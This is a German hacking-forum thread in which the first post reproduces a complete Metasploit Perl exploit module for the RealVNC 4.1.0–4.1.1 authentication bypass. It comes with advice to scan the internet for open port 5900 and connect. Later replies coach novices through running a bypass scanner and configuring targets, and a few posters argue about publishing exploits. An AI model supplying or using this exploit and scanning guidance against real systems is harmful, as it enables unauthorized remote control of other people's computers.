RealVNC 4.1.0 - 4.1.1 (Null Authentication) Auth Bypass Exploit

wischy · 20. Mai 2006

Hab ich auf Milworm gefunden! Auf anfrage gibts den Viewer auch so, dann braucht ihr net viel rumschreiben. Einfach nach nem offenen Port 5900 scannen und connecten.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::realvnc_41_bypass;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;

my $advanced = {};
my $info =
{
'Name' => 'RealVNC 4.1 Authentication Bypass',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm[at]metasploit.com>' ],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits an authentication bypass flaw in version
4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy
between a VNC client and a vulnerable server. Credit for this should
go to James Evans, who spent the time to figure this out after RealVNC
released a binary-only patch.
}),

'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,

'UserOpts' =>
{
'LPORT' => [ 1, 'PORT', 'The local VNC listener port', 5900 ],
'LHOST' => [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0" ],
'RPORT' => [ 1, 'PORT', 'The remote VNC target port', 5900 ],
'RHOST' => [ 1, 'HOST', 'The remote VNC target host'],
'AUTOCONNECT' => [1, 'DATA', 'Automatically launch vncviewer', 1],
},

'Refs' =>
[
['URL', 'http://secunia.com/advisories/20107/']
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'RealVNC' ],
],

'Keys' => [ 'realvnc' ],

'DisclosureDate' => 'May 15 2006',
};

sub new
{
my $class = shift;
my $self;

$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);

return $self;
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('LHOST'),
LocalPort => $self->GetVar('LPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp');
my $client;

# Did the listener create fail?
if (not defined($server))
{
$self->PrintLine("[-] Failed to create local VNC listener on " . $self->GetVar('SSHDPORT'));
return;
}

if ($self->GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {
if (! fork()) {
system("vncviewer 127.0.0.1::".$self->GetVar('LPORT'));
exit(0);
}
}

$self->PrintLine("[*] Waiting for VNC connections to " . $self->GetVar('LHOST') . ":" . $self->GetVar('LPORT') . "...");

while (defined($client = $server->accept()))
{
$self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

# Stolen from InjectVNCStage.pm
sub HandleVNCClient
{
my $self = shift;
my ($fd) = @{{@_}}{qw/fd/};
my $rhost;
my $rport;

# Set the remote host information
($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

# Create a connection to the target system
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $self->GetVar('RHOST'),
'PeerPort' => $self->GetVar('RPORT'),
'SSL' => $self->GetVar('SSL')
);

if ($s->IsError) {
$self->PrintLine('[*] Could not connect to the target VNC service: ' . $s->GetError);
$fd->Close;
return;
}

my $res = $s->Recv(-1, 5);

# Hello from server
if ($res !~ /^RFB 003\.008/) {
$self->PrintLine("[*] The remote VNC service is not vulnerable");
$fd->Close;
$s->Close;
return;
}
# Send it to the client
$fd->Send($res);

# Hello from client
$res = $fd->Recv(-1, 5);
if ($res !~ /^RFB /) {
$self->PrintLine("[*] The local VNC client appears to be broken");
$fd->Close;
$s->Close;
return;
}
# Send it to the server
$s->Send($res);

# Read the authentication methods from the server
$res = $s->Recv(-1, 5);

# Tell the client that the server only supports NULL auth
$fd->Send("\x01\x01");

# Start pumping data between the client and server
if (! fork()) {
$self->PrintLine("[*] Proxying data between the connections...");
$self->VNCProxy($s->Socket, $fd->Socket);
exit(0);
}
return;
}

sub VNCProxy {
my $self = shift;
my $srv = shift;
my $cli = shift;

foreach ($srv, $cli) {
$_->blocking(1);
$_->autoflush(1);
}

my $selector = IO::Select->new($srv, $cli);

LOOPER:
while(1) {
my @ready = $selector->can_read;
foreach my $ready (@ready) {
if($ready == $cli) {
my $data;
$cli->recv($data, 8192);
last LOOPER if (! length($data));
last LOOPER if(!$srv || !$srv->connected);
eval { $srv->send($data); };
last LOOPER if $@;
}
elsif($ready == $srv) {
my $data;
$srv->recv($data, 8192);
last LOOPER if(!length($data));
last LOOPER if(!$cli || !$cli->connected);
eval { $cli->send($data); };
last LOOPER if $@;
}
}
}
}

1;

# milw0rm.com [2006-05-15]

Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Anzeige

xodox · 20. Mai 2006

Und hier das Scriptkiddy-rund-um-sorglos Packet..
Scanner:
-
Viewer:
-

btw: wenn du eh schon milw0rm nennst kannst du auch gleich die links posten.
Ich sage nur: -

wischy · 20. Mai 2006

oder so

dergelm · 20. Mai 2006

also bei mir funzt der scanner irgentwie net richtig... :-(

wenn ich den starte geht er direkt wieder aus

kann mir ma jemand erklären wie das geht...

10er is natürlich drin

xodox · 20. Mai 2006

ok jetzt auch für dich ..
das haben Commandline-Tools so ansich..
Deshalb:
start => ausführen => cmd [enter] => cd c:\h4XX0r\T00lz\ (oder halt das verzeichnis in dem der scanner liegt und dann starten per scannername.exe [enter]

Halloweenracer · 20. Mai 2006

sag ihm doch einfach, dass er das tool nach

C:\Dokumente und Einstellungen\sein_username\

kopieren soll...

denn dann musser nur ausführen ---> cmd [enter] und dann den scanner starten

das is dann noch einfacher

mfg halloween^^

dergelm · 21. Mai 2006

thx

aber komplett dumm bin ich auch net... wie ma nen ordner wächselt weis ich noch...

ich dachte nur ma müste den mit noch nem befehl starten also ip range oder so

Frankie00rz · 21. Mai 2006

Mußt du ja auch @

Microsoft Windows [Version ]

20.05.2006 12:02 <DIR> ..
17.05.2006 16:29 32.768 VNC_bypauth.exe
1 Datei(en) 32.768 Bytes
2 Verzeichnis(se), 148.957.073.408 Bytes frei

A:\Dokumente und Einstellungen\Server Admin\Desktop\1>VNC_bypauth

================================================[rev-0.0.1]==
========RealVNC <= 4.1.1 Bypass Authentication Scanner=======
============multi-threaded for Linux and Windows=============
====================================================[win32]==
MAIN MENU
=============================================================

[+] Usage: VNC_bypauth <target> <scantype> <option>
[-] <target>:
___________________
|___-p____|___-i____|

[-] <scantype>:
____________________
|___-cT___|___-vnc___|
[-] <option>:
________________________________________________________
|___-v____|___-vv____|___-T___|__-tc___|__-tr___|__-tt___|

[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations
[+] To increase the speed under linux, try ulimit -s unlimited

dann mußt du nur noch
ip typ zusatz
VNC_bypauth <target>,<scantype> or <option>

wenn du dann

[+] ERROR: scan type not defined bekommst so wie ich dann mußt du eben knobeln ;--)

moep_rush · 21. Mai 2006

son ein schwachfug... wozu knobeln...
der syntax steht eindeutig in der hilfe

mfg moep

P0w3r0fCh4o5 · 21. Mai 2006

Was muss in der config ausser dem LHOST UND LPORT geändert werden?
Der RHOST u. das OS des zielrechners? und was noch?
Wenn ja, wie bekomme ich die anderen beiden sachen raus, und wie schreibe ich sie in den code, einfach mit Unix o. Winodows?

Hardwarehunger · 21. Mai 2006

super

genau hier geht die scene kaputt...
nämlich wenn solche xploits public werden...
wenn ich den findne würde der das gemacht hat den würd ich einmal um die welt jagen...

U#S#A · 21. Mai 2006

wenn die bei milw0rm sind, sind die sowieso schon public -.-

moep_rush · 21. Mai 2006

dummes geschwätz...

der coder hat das exploit bewusst public gemacht und dort selbst gepostet

und von welcher 'scene' redest du ???

mfg moep

moep_rush · 21. Mai 2006

quatsch...niemand schreibt exploits für milw0rm...

dort werden sie gepostet aber sie werden wenn schon 'for public use' geschrieben

mfg moep

Frankie00rz · 22. Mai 2006

Die aufgabe von Mailw0rm ist wohl eher aufklärung anstatt script kiddie spielwiese,was jemand damit macht ist aber immer seine sache.Ohne die seite würden einige große bugs noch heute in den os`es sein.
Die vnc`exploids sind eh nicht mehr lange funktionabel weil jeder zum glück updatet , früher oder späteR ))) *G*G

BadBoy100 · 22. Mai 2006

es gibt noch andre seiten wie milw0rm.

N0S · 22. Mai 2006

/spamfiltered

Über das Thema "RealVNC 4.1.0 - 4.1.1 (Null Authentication) Auth Bypass Exploit" gibt es wohl nichts mehr zu sagen, deshalb....

~closed~

Nützliche Suchen

RealVNC 4.1.0 - 4.1.1 (Null Authentication) Auth Bypass Exploit

Videos zum Themenbereich